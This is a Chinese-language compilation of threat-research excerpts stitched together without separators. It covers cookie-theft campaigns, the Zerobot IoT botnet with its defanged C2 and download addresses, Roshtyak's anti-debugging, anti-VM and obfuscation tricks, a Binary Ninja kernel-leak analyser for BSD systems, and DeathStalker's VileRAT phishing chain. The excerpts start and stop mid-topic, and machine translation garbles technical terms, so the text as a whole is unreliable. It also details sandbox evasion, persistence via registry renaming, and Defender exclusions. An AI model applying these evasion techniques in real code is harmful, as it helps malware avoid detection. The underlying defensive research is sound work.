的內容都是參數和值的列表，一個鍵值存儲，用於標識與遠程網站的瀏覽器會話，在某些情況下，還包括在用戶身份驗證後由網站傳遞給瀏覽器的令牌。其中一個鍵值對指定cookie的過期時間，即cookie在必須更新之前的有效時間。 cookies.sqlite 文件中的一些cookie 竊取cookie的原因很簡單：與web服務身份驗證相關的cookie可能被攻擊者用於“傳遞cookie”攻擊，試圖偽裝成最初向其發出cookie的合法用戶，並在沒有登錄挑戰的情況下獲得對web服務的訪問權。這類似於“傳遞哈希”攻擊，它使用本地存儲的身份驗證哈希來訪問網絡資源，而無需破解密碼。 合法的網絡服務活動 “傳遞cookie”攻擊是如何發起攻擊的 這可能導致對web服務(如AWS或Azure)、軟件即服務和協作服務的利用，以進一步暴露或橫向移動數據，如商業電子郵件洩露、訪問云數據存儲，或使用劫持的Slack會話引誘其他受害者下載惡意軟件或暴露其他可用於訪問的數據。 許多基於web的應用程序執行額外的檢查以防止會話欺騙，例如根據發起會話的位置檢查請求的IP地址。但是，如果cookie 被同一網絡內的手動鍵盤攻擊者使用，那麼這些措施可能不足以阻止攻擊。而為桌面和移動結合使用而構建的應用程序可能不會始終如一地使用地理位置。 有些cookie竊取攻擊可能完全從目標本身的瀏覽器中遠程發起。 HTML注入攻擊可以使用插入易受攻擊的網頁的代碼來利用其他服務的cookie，這允許訪問目標在這些服務上的個人信息，並允許更改密碼和電子郵件。 盜取cookie 的成本收益通常，惡意軟件運營商會使用付費下載服務和其他無針對性的方法，以低成本和不費力的方式收集盡可能多的受害者cookie 和其他相關憑據。這種類型的竊取器部署非常類似於Raccoon Stealer 和我們看到的其他惡意軟件活動，這些惡意軟件活動通過dropper 來傳播。 ISO 或ZIP 文件中的惡意軟件包通過搜索引擎優化提升的惡意網站作為盜版或“破解”商業軟件包的安裝程序。基於ISO 的傳播包也被廣泛用於代替惡意軟件垃圾郵件活動中的惡意文檔，這主要是因為微軟最近屏蔽了來自互聯網的Office文件中的宏。 研究人員在一個大學網絡上看到的“下載即服務”示例中，竊取的惡意軟件包含在一個從網站下載的虛假軟件安裝程序中，很可能是一個廣告盜版商業軟件。安裝程序通過用戶下載的300 兆ISO 文件的形式傳播，大型ISO 文件經常被用於阻止惡意軟件檢測軟件的文件掃描。 ISO 包含BLENDERINSTALLER3.0.EXE，這是一個來自另一個軟件包的重新利用的軟件安裝實用程序。該釋放程序使用PowerShell 命令和使用AutoIT（一種經常被惡意軟件運營商濫用的合法工具）創建的可執行文件安裝多個文件，以從.ISO 中提取惡意軟件，並從Discord 的內容傳播網絡下載其他惡意軟件文件。然後，惡意軟件包通過.NET 進程（使用.NET 框架中的jsc.exe）注入一系列命令，以從Chrome 中獲取cookie 和登錄數據。 一個虛假的安裝程序/信息竊取cookie程序 高度複雜的攻擊過程惡意垃圾郵件還與其他偽裝附件一起使用，通常針對特定行業或國家的企業。 2021 年10 月，一名土耳其計算機用戶收到了一封電子郵件，其附件是一個XZ壓縮文件。這包含一個偽裝的可執行文件，“ürün örnekleri resmi pdf.exe”（翻譯為“產品樣本圖像pdf.exe”）。該可執行文件是一個使用Delphi 編程語言（稱為“BobSoft Mini Delphi”）構建的自解壓惡意軟件dropper。 這個dropper依次安裝了幾個可執行程序。第一個是合法的Microsoft Visual Studio組件(msbuild.exe)。 MSBuild 通常用於編譯和執行編碼項目，它可以在命令行上傳遞項目文件或包含腳本的XML 文件，並啟動它們。由於該文件是受信任的Microsoft 二進製文件，因此可以將其打包到dropper 中，以掩蓋惡意軟件的惡意性質。 第二個可執行文件是從Discord 內容傳播網絡中檢索並解密的，它是Phoenix 鍵盤記錄器，一個信息竊取者。 QuasarRat 也在某個時候被釋放，這是一個用C# 編寫的遠程訪問工具。 在接下來的一周中，攻擊者使用安裝的QuasarRAT啟動了Phoenix信息竊取程序並通過MSBuild 執行命令。 MSBuild 構建和執行的命令訪問了目標設備上的cookie 文件。 Malspam/Phoenix 竊取的過程 有針對性的利用竊取cookie 不僅僅是一項自動化活動。在某些情況下，這也是積極的攻擊者尋求加深對目標網絡滲透的努力的一部分。在這些情況下，攻擊者利用網絡上的攻擊入口來部署利用工具，並使用這些工具來傳播他們的訪問權限。隨著越來越多的有價值的數據從網絡轉移到雲服務中，這些攻擊者通過竊取cookie和抓取web登錄數據來增加這些服務的橫向移動。 研究人員在2022年6月發現了一個這種類型的長期攻擊活動，其中竊取cookie是持續數月的Cobalt Strike 和Meterpreter 活動的一部分。攻擊者專門針對Microsoft Edge 瀏覽器中的cookie。首先，他們能夠使用Impacket 漏洞利用工具包通過Windows SMB 文件傳輸從初始入口點傳播，將Cobalt Strike 和Meterpreter 釋放到網絡內的目標計算機上。 竊取cookie 接下來，攻擊者在目標系統上放置了一個合法Perl 腳本解釋器的副本，以及之前基於Impacket 的攻擊中看到的Perl 腳本文件（名為c）和批處理文件（execute.exe）。然後他們使用Meterpreter 傳遞以下命令字符串： Perl腳本訪問目標計算機上的cookie文件，並將內容輸出到一個名為_output的臨時文件。該批處理文件將_output 的內容傳回給攻擊者並刪除了Perl 腳本。其餘的shell 命令關閉了屏幕輸出，刪除了批處理文件，並終止了命令shell。 這三個示例僅代表cookie 竊取網絡犯罪的冰山一角。竊取信息的惡意軟件越來越多地將竊取cookie作為其功能的一部分，而低成本高收益使得銷售竊取的cookie成為一項可行的業務。但更有針對性的攻擊者也以cookie 為目標，他們的活動可能無法被簡單的反惡意軟件防禦檢測到，因為他們濫用了合法的可執行文件，包括已經存在和作為工具帶來的合法可執行文件。 如果沒有這麼多應用程序使用長期訪問cookie，那麼cookie 竊取幾乎不會構成威脅。例如，Slack結合使用持久cookie和特定於會話的cookie來檢查用戶的身份和身份驗證。當瀏覽器關閉時，會話cookie會被清除，但其中一些應用程序(如Slack)在某些環境中仍然無限期地打開。這些cookie過期的速度可能不夠快，無法防止被盜時被人利用。如果用戶不關閉會話，與一些多因素身份驗證相關聯的單點登錄令牌可能會造成同樣的潛在威脅。 定期清除瀏覽器的cookie和其他認證信息可以減少瀏覽器配置文件提供的潛在攻擊面，企業可以使用一些基於Web 的平台的管理工具來縮短cookie 保持有效的允許時間範圍。 但強化cookie政策是有代價的。縮短cookie的生命週期意味著用戶需要進行更多的重新身份驗證。而且，一些利用基於Electron或類似開發平台的客戶端的基於web的應用程序可能有它們自己的cookie處理問題。例如，他們可能有自己的cookie 存儲，攻擊者可以在Web 瀏覽器存儲的上下文之外專門針對這些存儲。

11月，FortiGuard實驗室觀察到一個用Go語言編寫的獨特殭屍網絡通過物聯網漏洞進行了傳播。這個殭屍網絡被稱為Zerobot，包含幾個模塊，包括自我複制、針對不同協議的攻擊和自我傳播。它還使用WebSocket協議與其命令和控制服務器通信。根據一些IPS簽名觸發計數，該活動在11月中旬之後的某個時候開始了當前版本的傳播。 受影響的平台：Linux； 受影響組織：任何組織； 影響：遠程攻擊者可以控制易受攻擊的系統； 嚴重級別：嚴重。 本文詳細介紹了該惡意軟件如何利用漏洞，並在進入受感染的設備後檢查其行為。 IPS簽名活動 IPS簽名活動 感染Zerobot利用多個漏洞來訪問設備，然後下載腳本以進一步傳播。完整的腳本如下圖所示。請注意，下載URL已從http[：]//zero[.]sudolite[.]ml/bins更改為http[：]]//176[.]65.137[.]5/bins。此Zerobot變體針對以下架構：i386、amd64、arm、arm64、mips、mips64、mips64le、mipsle、ppc64、ppc64le、riscv64和s390x。它使用文件名“zero”保存，這是活動名稱的來源。 2022年11月24日之前使用的下載腳本 當前下載腳本 Zerobot有兩個版本。 11月24日之前使用的第一個僅包含基本功能。當前版本增加了一個“selfRepo”模塊來複製自身，並感染更多具有不同協議或漏洞的端點。舊版本的功能列表如下圖所示。然而，以下技術分析是基於新版本的。 11月24日之前Zerobot版本的主要功能 技術分析——初始化Zerobot首先檢查其與Cloudflare的DNS解析器服務器1.1.1.1的連接。 檢查1.1.1.1:80的網絡連接 然後，它根據受害者的操作系統類型將自己複製到目標設備上。對於Windows，它將自己複製到文件名為“FireWall.exe”的“Startup”文件夾中。 Linux有三個文件路徑：“%HOME%”、“/etc/init/”和“/lib/systemd/system/”。 複製本身的代碼流 然後，它設置了一個“AntiKill”模塊，以防止用戶中斷Zerobot程序。該模塊監視特定的十六進制值，並使用“signal.Notify”攔截任何發送來終止或終止進程的信號。 AntiKill的部分代碼 技術分析——命令初始化後，Zerobot使用WebSocket協議啟動到其C2服務器ws[：]//176[.]65[.]137[.]5/handle的連接。 連接到C2服務器 從受害者發送的數據如下圖所示。基於WebSocket協議，我們可以對其進行屏蔽，以獲取帶有受害者信息的JSON： {'Platform':'linux','GCC':'386','CPU':1,'Payload':'Direct','Version':1} C2連接的流量捕獲 通信通道設置後，客戶端等待來自服務器的命令，包括“ping”、“attack”、“stop”、“update”、“kill”、“disable_scan”、“enable_scan”和“command”。有關“enable_scan”中漏洞的詳細信息，接下來會講到。 在zero.mips中接收命令 zero.386中接收到的命令 技術分析——開發Zerobot包括21個漏洞，具體如圖12所示，下圖中受影響的產品如下所示。除了一些物聯網漏洞外，還包括Spring4Shell、phpAdmin、F5 Big等，以提高其攻擊成功率。 Zerobot中的漏洞列表 Zerobot針對的易受攻擊設備列表 上圖頂部名為“ZERO_

異常檢查此外，Roshtyak包含設置自定義向量異常處理程序的檢查，並有意觸發各種異常，以確保它們都按預期得到處理。 Roshtyak使用RtlAddVectoredExceptionHandler設置了一個向量異常處理程序。此處理程序包含針對所選異常代碼的自定義處理程序。頂級異常處理程序也使用SetUnhandledExceptionFilter註冊。不應該在目標執行環境中調用此處理程序(任何有意觸發的異常都不應該通過向量異常處理程序)。因此，這個頂級處理程序只包含一個對TerminateProcess的調用。有趣的是，Roshtyak還使用ZwSetInformationProcess使用ProcessDefaultHardErrorMode類來設置SEM_FAILCRITICALERRORS。這確保了即使異常以某種方式被傳遞到默認異常處理程序，Windows也不會顯示標準漏洞消息框，這可能會提醒受害者發生了可疑的事情。 當一切都設置好之後，Roshtyak開始生成異常。第一個異常是由一條popf指令生成的，後面直接跟著一條cpuid指令(如下所示)。 popf指令彈出的值被精心設計為設置漏洞標誌，而該標誌又會引發一個單步異常。在物理設備上，異常會在cpuid指令之後立即觸發。然後，自定義向量異常處理程序將接管並將指令指針從標記為無效指令的C7 B2 操作碼中移走。但是，在許多管理程序下，不會引發單步異常。這是因為cpuid 指令強制VM 退出，這可能會延遲跟踪標誌的效果。如果是這種情況，處理器將在嘗試執行無效操作碼時引發非法指令異常。如果向量異常處理程序遇到這樣的異常，它就知道它是在管理程序下運行的。 Palo Alto Networks 的一篇文章描述了這種技巧的一種變體。 基於異常的檢查使用popf 和cpuid 來檢測管理程序 另一個異常是使用雙字節int 3指令(CD 03)生成的。這條指令後面是垃圾操作碼。這裡的int 3 引發一個斷點異常，該異常由向量異常處理程序處理。向量異常處理程序實際上並沒有做任何處理異常的事情，這很有趣。這是因為默認情況下，Windows 在處理兩個字節的int 3 指令時，會將指令指針留在兩個指令字節之間，指向03 字節。當從這個03 字節反彙編時，垃圾操作碼突然開始變得有意義。我們認為這是對一些急於求成的調試器的檢查，這些調試器可能會將指令指針“修復”到03字節之後的指針。 此外，向量異常處理程序檢查線程的CONTEXT 並確保寄存器Dr0 到Dr3 為空。如果不是，則使用硬件斷點調試進程。雖然這種檢查在惡意軟件中比較常見，但CONTEXT 通常是通過調用GetThreadContext 之類的函數來獲取的。此時，惡意軟件開發者利用CONTEXT 作為參數傳遞給異常處理程序，因此他們不需要調用任何額外的API 函數。 大型可執行映射下一次檢查很有趣，主要是因為我們不確定它真正應該檢查什麼。首先，Roshtyak創建一個大小為0x386F000的大型PAGE_EXECUTE_READWRITE映射。然後它將這個映射映射到自己的地址空間9次。在這之後，它將映射設置為0x42 (inc edx的操作碼)，除了最後六個字節，它們被四個inc ecx指令和jmp dword ptr [ecx]填充。接下來，它將映射視圖的9個基址放入一個數組中，後面是單個ret指令的地址。最後，它將ecx指向這個數組並調用第一個映射視圖，這將導致依次調用所有映射視圖，直到最後的ret指令。返回後，Roshtyak 驗證edx 恰好增加了0x1FBE6FCA 倍(9 * (0x386F000 - 6))。 大映射段的結尾，jmp dword ptr [ecx] 指令應該跳轉到下一個映射視圖的開頭 我們最好的猜測是，這是另一個反模擬器檢查。例如，在某些模擬器中，映射段可能沒有完全實現，因此寫入映射視圖的一個實例的指令可能不會傳播到其他八個實例。另一種理論是，這種檢查可以用於請求模擬器可能無法提供的大量內存。畢竟，所有視圖的總和幾乎是標準32位用戶模式地址空間的一半。 中止檢測過程這個技巧濫用NtCreateThreadEx 中未記錄的線程創建標誌來檢測Roshtyak 的主進程何時被外部掛起（這可能意味著附加了調試器）。這個標誌實際上允許線程即使在PsSuspendProcess被調用時也能繼續運行。這與另一個濫用線程掛起計數器是帶符號的8位值這一事實的技巧相結合，這意味著它的最大值為127。 Roshtyak生成兩個線程，其中一個線程持續掛起另一個線程，直到達到掛起計數器的限制。在此之後，第一個線程會定期掛起另一個線程，並檢查對NtSuspendThread 的調用是否繼續失敗並顯示STATUS_SUSPEND_COUNT_EXCEEDED。如果沒有，則該線程必須被外部掛起並恢復，這將使掛起計數器保持在126，因此對NtSuspendThread 的下一次調用將成功。如果沒有得到這個漏洞代碼，那麼Roshtyak就會停止使用TerminateProcess。 Secret Club在一篇博文中詳細描述了這一技巧。我們相信這就是Roshtyak的作者得到這個技巧的原因。值得一提的是，Roshtyak只在Windows版本18323 (19H1)及以後的版本中使用了這種技術，因為在之前的版本中沒有實現無文檔記錄的線程創建標誌。 間接註冊表寫入Roshtyak 執行許多可疑的註冊表操作，例如，設置RunOnce 項以實現持久性。由於可能會監控對此類密鑰的修改，因此Roshtyak 試圖繞過監控。它首先生成一個隨機註冊表項名稱，並使用ZwRenameKey 將RunOnce 項臨時重命名為隨機名稱。重命名後，Roshtyak 會在臨時密鑰中添加一個新的持久性條目，然後最終將其重命名為RunOnce。這種寫入註冊表的方法很容易被檢測到，但它可能會繞過一些簡單的基於掛鉤的監控方法。 同樣，Roshtyak 使用多種方法來釋放文件。除了對NtDeleteFile 的明顯調用之外，Roshtyak 還可以通過在對ZwSetInformationFile 的調用中設置FileDispositionInformation 或FileRenameInformation 來有效地釋放文件。然而，與註冊表修改方法不同的是，這似乎不是為了逃避檢測而實現的。相反，如果對NtDelete文件的初始調用失敗，Roshtyak將嘗試這些替代方法。 檢查VBAWarnings VBAWarnings 註冊表值控制用戶打開包含嵌入VBA 宏的文檔時Microsoft Office 的行為方式。如果此值為1，則意味著“啟用所有宏”，則默認執行宏，甚至不需要任何用戶交互。這是沙盒的常見設置，旨在自動觸發惡意文檔。另一方面，此設置對於普通用戶來說並不常見，他們通常不會隨意更改設置，使自己更容易受到攻擊（至少他們中的大多數人不會）。因此，Roshtyak 使用此檢查來區分沙箱和普通用戶，如果VBAWarnings 的值為1，則拒絕進一步運行。有趣的是，這意味著無論出於何種原因以這種方式降低安全性的用戶都不會受Roshtyak 的影響。 命令行清除Roshtyak 的核心是用非常可疑的命令行執行的，例如RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Users\\AppData\Local\Temp\dpcw.etl.'。這些命令行看起來不是特別合法，因此Roshtyak 試圖在執行期間隱藏它們。它通過清除從各種來源收集的命令行信息來做到這一點。它首先調用GetCommandLineA 和GetCommandLineW 並清除兩個返回的字符串。然後它會嘗試清除PEB-ProcessParameters-CommandLine 指向的字符串（即使它指向一個已經被清除的字符串）。由於Roshtyak 經常在WoW64 下運行，它還調用NtWow64QueryInformationProcess64 來獲取指向PEB64 的指針，以清除通過遍歷這個“第二個”PEB 獲得的ProcessParameters-CommandLine。雖然清除命令行可能是為了讓Roshtyak 看起來更合法，但完全清除任何命令行也是極不尋常的。 Red Canary 研究人員在他們的博客文章中註意到了這一點，他們提出了一種基於這些可疑的空命令行的檢測方法。 Roshtyak 的核心流程，如Process Explorer 所示，注意可疑的空命令行。 附加技巧除了到目前為止描述的技巧之外，Roshtyak 還使用了許多其他惡意軟件中常見的不太複雜的技巧。這些包括： 使用ThreadHideFromDebugger 隱藏線程，並使用NtQueryInformationThread 驗證線程是否真的被隱藏了； 在ntdll 中修補DbgBreakPoint； 使用GetLastInputInfo 檢測用戶活動情況； 檢查來自PEB 的字段（BeingDebugged、NtGlobalFlag）； 檢查來自KUSER_SHARED_DATA 的字段（KdDebuggerEnabled、ActiveProcessorCount、NumberOfPhysicalPages）； 檢查所有正在運行的進程的名稱（一些通過哈希比較，一些通過模式比較，一些通過字符分佈比較）； 哈希所有加載模塊的名稱，並根據硬編碼的黑名單檢查它們； 驗證主進程名不需要太長時間，而且與沙盒中使用的已知名稱不匹配； 使用cpuid指令檢查hypervisor信息和處理器標誌； 使用沒有紀錄的COM 接口； 根據硬編碼的黑名單檢查用戶名和計算機名； 正在檢查是否存在已知的沙盒誘餌文件； 根據硬編碼的黑名單檢查自己的適配器的MAC 地址； 檢查ARP 表中的MAC 地址（使用GetBestRoute 填充它並使用GetIpNetTable 來檢查它）； 使用ProcessDebugObjectHandle、ProcessDebugFlags 和ProcessDebugPort 調用ZwQueryInformationProcess； 檢查顯示設備的DeviceId（使用EnumDisplayDevices）； 檢查\\.\PhysicalDrive0 的ProductId（使用IOCTL_STORAGE_QUERY_PROPERTY）； 檢查虛擬硬盤（使用NtQuerySystemInformation 和SystemVhdBootInformation）； 檢查原始SMBIOS 固件表（使用NtQuerySystemInformation 和SystemFirmwareTableInformation）； 設置Defender 排除項（針對路徑和進程）； 刪除與惡意軟件使用的進程名相關的IFEO註冊表項； 混淆我們展示了許多旨在防止Roshtyak 在不良執行環境中觸發的反分析技巧。就單個技巧來說，都很容易被修復或識別。分析Roshtyak 之所以困難的原因，是所有這些技巧被組合起來了，同時被重度混淆和多層包裝。這使得靜態研究反分析技巧並弄清楚如何通過所有檢查以使Roshtyak 自行解包變得非常困難。此外，即使是主要的有效載荷也收到了相同的混淆，這意味著靜態分析Roshtyak 的核心功能也需要大量的去混淆。 接下來，我們將介紹Roshtyak使用的主要混淆技術。 來自Roshtyak的隨機代碼片段，可以看到，這種混淆使得Hex-Rays反編譯器的原始輸出實際上難以理解 controlflowflatterning(控制流平坦化)控制流扁平化是Roshtyak 採用的最引人注目的混淆技巧之一。它以一種不同尋常的方式實現，使Roshtyak 函數的控制流圖具有獨特的外觀（見下文）。控制流扁平化的目標是混淆各個代碼塊之間的控制流關係。 控制流由一個32 位控制變量引導，該變量跟踪執行狀態，識別要執行的代碼塊。這個控制變量在每個函數開始時被初始化以引用起始代碼塊（通常是一個nop 塊）。然後在每個代碼塊的末尾修改控制變量，以識別應該執行的下一個代碼塊。修改是使用一些算術指令執行的，例如add、sub 或xor。 有一個調度程序使用控制變量將執行路由到正確的代碼塊中。這個調度程序由if/else塊組成，這些塊被循環鏈接到一個循環中。每個調度程序塊接受控制變量，並使用算術指令屏蔽它，以檢查是否應該將執行路由到它所保護的代碼塊中。有趣的是，從代碼塊到調度程序循環有多個入口點，使控制流圖在IDA 中呈現鋸齒狀外觀。 使用包含imul 指令的特殊代碼塊執行分支。它依賴於前一個塊來計算分支標誌。使用imul 指令將該分支標誌與一個隨機常數相乘，並將結果與新的控制變量相加、替換或異或。這意味著在分支塊之後，控制變量將識別兩個可能的後續代碼塊中的一個，這取決於為分支標誌計算的值。 用控制流扁平化混淆的函數的控制流圖 函數激活項Roshtyak 的混淆函數需要一個額外的參數，我們稱之為激活密鑰。此激活密鑰用於解密所有局部常量、字符串、變量等。如果使用漏洞的激活密鑰調用函數，則解密會產生垃圾明文，這很可能導致Roshtyak陷入控制流分配器內部的無限循環中。這是因為調度程序使用的所有常量（控制變量的初始值、調度程序守衛使用的掩碼以及用於跳轉到下一個代碼塊的常量）都使用激活密鑰加密。如果沒有正確的激活密鑰，調度程序根本不知道如何調度。 如果不知道正確的激活密鑰，對函數進行逆向工程實際上是不可能的。所有字符串、緩衝區和局部變量/常量都保持加密狀態，所有交叉引用都丟失了，更糟糕的是，沒有控制流信息。只剩下單獨的代碼塊，沒有辦法知道它們之間是如何關聯的。 每個混淆函數都必須從某個地方調用，這意味著調用該函數的代碼必須提供正確的激活密鑰。但是，獲取激活密鑰並不是那麼容易。首先，調用目標也使用激活密鑰加密，因此如果不知道正確的激活密鑰，就不可能找到調用函數的位置。其次，即使提供的激活密鑰也被調用函數的激活密鑰加密。並且該激活密鑰被下一個調用函數的激活密鑰加密。以此類推，一直到入口點函數。 這給去混淆帶來了很多麻煩。入口點函數的激活密鑰必須以明文形式存在。使用這個激活密鑰，可以解密直接從這個入口點函數調用的函數的調用目標和激活密鑰。遞歸地應用此方法使我們能夠重構完整的調用圖以及所有函數的激活項。唯一的例外是從未調用過且由編譯器保留的函數。這些函數可能仍然是個謎，但由於示例沒有使用它們，因此從惡意軟件分析師的角度來看，它們並不那麼重要。

跟踪動態內存分配中的內存存儲到目前為止，我們的所有分析都集中在堆棧內存作為信息披露的源緩衝區。這在很大程度上是由於堆棧內存洩漏錯誤的盛行，如KLEAK：實用內核內存洩漏檢測（PDF）中所述。其他內存區域（如堆）呢？我們可以對一些堆內存洩漏建模嗎？ 在查找堆內存洩漏時，思路也是一樣的。我們仍在尋找調用具有已知大小值的sink函數。但源指針不是RegisterValueType.StackFrameOffset，我們檢查RegisterValueType.UndeterminedValue。考慮sys_statfs()的代碼： sys_statfs()中的動態內存分配 此時copyout()中的內核指針rdi_1#2還是不確定，因為Binary Ninja並不知道分配器函數返回什麼。然而，通過使用SSA表單，我們可以手動跟踪rdi_1#2是否保存malloc()的返回值。例如，按上圖中突出顯示的說明進行操作。變量被分配為rax_1#1-r15#1-rdi_1#2。可以使用MLIL get_ssa_var_definition()API通過編程方式獲取此信息。一旦獲得SSA變量的定義位置，我們就可以使用CALL操作檢查變量是否被初始化。 那分析器如何知道分配器函數的定義？我們可以採用與提供靜態函數掛鉤信息相同的方法（請參閱上面的“靜態函數掛鉤和內存編寫API”一節）。向分析器提供一個帶有分配器函數列表和大小參數索引的JSON配置。對於任何具有已知目標(即MLIL_CONST_PTR)的CALL指令，獲取該符號以檢查已知的分配器函數。下面是一個用於分析的JSON配置示例： 一旦我們建立了源指針和分配器調用之間的連接，下一個問題是，將分配什麼指針值作為分配器調用的返回值？在Binary Ninja中跟踪為負偏移量的堆棧指針是這樣的：為了在堆棧指針和堆指針之間具有一個通用表示，我決定將堆分配器調用的返回值設置為分配大小的負值。對於sys_statfs()中的malloc()調用，rax_1#1設置為0x1d8作為起始地址。因此，需要初始化的內存區域的範圍從0x1d8到0不等。即使分配大小不確定，起始地址也可以設置為某些任意值，例如0x10000。最重要的是要知道copyout()訪問的連續內存區域是否已初始化。 使用dominator和後dominator過濾內存存儲下圖中的dominator提供了一些基本塊的執行順序信息。雖然我們已經在“處理指針對齊優化”一節中使用了dominator來處理指針對齊的優化，但本節將詳細介紹dominator在檢測支配流敏感（flow-sensitive）內存存儲操作中的使用。 為了分析未初始化的內存洩露，我們使用了兩種思路：dominator和後dominator。如果到Y的所有路徑都應經過X，則稱基本塊X支配另一個基本塊Y。如果從X到函數的任何返回塊的所有路徑均應經過Y，則稱基礎塊Y支配基本塊X。 dominator和後dominator的圖表 在所提供的圖中，節點B支配節點C、D、E和F，因為到這些節點的所有路徑都必須經過節點B。根據定義，每個節點都會進行自我支配，因此由節點B支配的所有節點集將是B、C、D，E和F。此外，節點A支配圖中的所有節點。因此，節點C、D、E、F的dominator是A和B。 同理，當A為函數入口節點，E和F為出口節點，則節點B為節點A的後dominator。這是因為從A到出口節點的所有路徑都必須經過B。 那麼，dominator和後dominator如何幫助我們進行分析呢？ 我們可以對sink函數的調用者執行dominator分析。其思想是只記錄基本塊中的內存存儲，這些基本塊支配調用copyout()的基本塊，也就是說，將執行與分支決策無關的基本塊，代碼如下： 調用copyout()的基本塊的dominator 調用copyout()的基本塊是 在跨函數(inter-procedure)分析期間，對被調用函數進行後dominator分析。它的目的是在初始化它應該返回的內存區域之前，找到被調用者可能返回的漏洞。被調用者函數do_sys_waitid()如下所示： do_sys_waitid()中函數輸入塊的後dominator 函數入口塊基於dominator和後dominator的分析試圖填補分析器執行的支配流不敏感分析中的空白。其假設是，在執行進一步的操作之前，內存被初始化或清除，因此支配其他基本塊。然而，這種假設並不總是正確的。例如，在某些情況下，單個代碼路徑可以執行與支配器中相同的操作。此外，當被調用者由於任何錯誤條件返回時，調用者可以在調用copyout()之前驗證返回值。因此，在此情況下基於dominator的分析容易出現大量誤報。 檢查未初始化的內存洩露一旦所有的內存存儲操作都被靜態地記錄了關於寫的偏移量和大小的信息，就可以使用copyout()對複製到用戶空間的內存區域進行評估，以進行未初始化的內存公開。 copyout()調用是這樣的：源指針為0x398，複製的大小為0x330字節。因此，分析器必須驗證內存範圍從-0x398到(-0x398 +0x330)的所有字節是否都已初始化，如果沒有，則將其標記為錯誤。 誤報和限制編寫分析器的目的是查找在任何可能的代碼路徑中從未寫入過的內存區域。如果無法跟踪內存存儲操作，則會出現誤報。以下是一些常見的誤報情況和限制情況： 1.分析儀不模擬分支指令。因此，在涉及支配流決策的代碼構造中會出現誤報。考慮一個內存區域，例如在循環操作中初始化的數組。在這種情況下，存儲操作將只檢測一次，因為分析器只訪問循環體一次，而不是像執行期間那樣在循環中訪問。 2.間接調用不會被靜態解析，因此，在間接調用期間執行的任何內存存儲都不會被跟踪。 3.優化可能會使跟踪內存存儲更加困難。在“處理x86 REP優化”和“處理指針對齊優化”部分中處理了一些常見的優化。 4.Binary Ninja可能會錯誤地檢測用於靜態掛鉤或copyout()等接收器函數的類型信息。由於我們的分析依賴於RegisterValueType信息，任何未能準確檢測函數原型的情況都可能導致錯誤的結果。在分析和更新之前驗證類型信息。 5.分析器僅查找內存源函數和sink函數位於同一函數中的代碼模式。在本地函數範圍之外，沒有對內存源的跟踪。 6.dominator分析是實驗性的。你應該僅將其用作執行代碼審查的指導原則。 當可以訪問源代碼時，可以通過更改優化標誌或展開循環來減少分支決策，從而解決其中一些誤報。 分析結果在Binary Ninja中加載目標內核可執行文件，生成BNDB分析數據庫。然後用分析器對數據庫進行分析，以便進行更快的分析。有兩個腳本：一個用於分析堆棧內存洩漏，另一個用於分析具有已知大小和未知源指針的sink函數。因為源指針可以來自堆分配器，所以提供一個帶有分配器函數列表的JSON配置作為參數。 dominator分析是實驗性的。需要時，請使用可選參數啟用它。 總結這些腳本在Binary Ninja版本2.4.2846上針對FreeBSD 11.4、NetBSD 9.2和OpenBSD 6.9內核進行了測試。在結果中，評估了非特權用戶可能訪問的代碼路徑。 OpenBSD漏洞在與IPv4和IPv6組播路由相關的系統中被發現，分別被命名為ZDI-22-073和ZDI-22-012。 在NetBSD中發現的4個漏洞（ZDI-22-075、ZDI-22-1036、ZDI22-1037和ZDI-21-1067）與支持舊版NetBSD向後兼容的系統調用有關的ZDI-22-2075和ZDI22-11036分別是NetBSD 3.0和NetBSD 5.0的VFS系統調用中的信息洩露。另外，ZDI-22-1037是NetBSD 4.3的getkerneinfo系統調用中的一個信息洩漏。目前，此漏洞已修復，但還存在許多其他潛在問題。 在版本11.4中發現的FreeBSD漏洞也與兼容性有關，在本例中，兼容性用於支持32位二進製文件。然而，在對64位inode進行較大更改期間，該漏洞被修復，但沒有被公開。作為64位inode項目的一部分，在copy_stat函數中清除了未初始化的結構字段。雖然此承諾是在2017年5月，但它被標記為12.0及以上版本。因此，該漏洞在11.4版中一直未被修復，直到2021年9月才被處理。 總而言之，大多數漏洞都是在BSD的兼容層中發現的。此外，所有這些漏洞都是堆棧內存洩漏。

早在2020年8月下旬，就有研究人員發布了DeathStalker的活動報告，包括Janicab、Evilnum和PowerSing活動。同時，在2020年8月，研究人員還首次發布了一份關於VileRAT的私人報告。 VileRAT是一種Python植入程序，是專門針對外彙和加密貨幣交易公司一種高度複雜的攻擊活動，其幕後攻擊者就是DeathStalker。 自2020年6月首次被發現以來，DeathStalker確實不斷利用和更新其VileRAT工具鏈來對付相同類型的目標。而且DeathStalker最近可能會加大力度使用此工具鏈來破壞目標。自2022年3月以來，研究人員已經識別出更多與VileRAT相關的惡意文件和新基礎設施的示例，這可能是攻擊嘗試增加的徵兆。 VileRAT的初始攻擊和工具集介紹早在2020年夏天，DeathStalker的VileRAT的攻擊就包括發送給外匯公司的魚叉式網絡釣魚電子郵件。如果目標上鉤，假冒的角色會在某個時候根據請求提供指向託管在GoogleDrive上的惡意文件的鏈接（偽裝成PDF或ZIP存檔的Windows快捷方式文件），作為身份證明文件，然後，惡意鏈接將觸發任意系統命令的執行，以釋放無害的誘餌文檔，以及我們稱為VileLoader的惡意且非常複雜的二進制加載程序。 至少從2021年末開始，攻擊技術略有變化，但最初的攻擊媒介仍然是惡意消息：通過電子郵件向目標發送Word文檔。 2022年7月，攻擊者利用嵌入在目標公司公共網站中的聊天木馬向目標發送惡意DOCX。 惡意DOCX的釣魚消息 DOCX文檔經常使用“合規性”或“投訴”關鍵字來命名，這表明攻擊者正在回答識別請求或表達某個問題作為發送它們的理由。 至少從2021年底開始，最初的攻擊和工具集部署如下圖所示。 VileRAT攻擊和工具集概述 秘密執行VileDropper最初的DOCX攻擊文檔本身是無害的，但它包含指向另一個惡意和啟用宏的DOTM文檔的鏈接作為“遠程模板”。打開DOCX時，Word會自動下載這些DOTM文件，如果收件人啟用了執行，則會觸發其嵌入的宏。 DOCX中包含的惡意遠程模板 惡意DOTM遠程模板利用VBAstomping技術來隱藏嵌入式宏的代碼。 VBAstomping使可編輯的VBA源代碼（即宏的可見代碼）不同與實際執行的代碼。這是可能的，因為可編輯源代碼和被稱為p-code的經過轉換的內部版本都嵌入在啟用宏的文檔中。由於使用了VBAstomping，將要執行的真正宏代碼對標準工具（MicrosoftWord的宏編輯工具以及OLETools）是隱藏的。 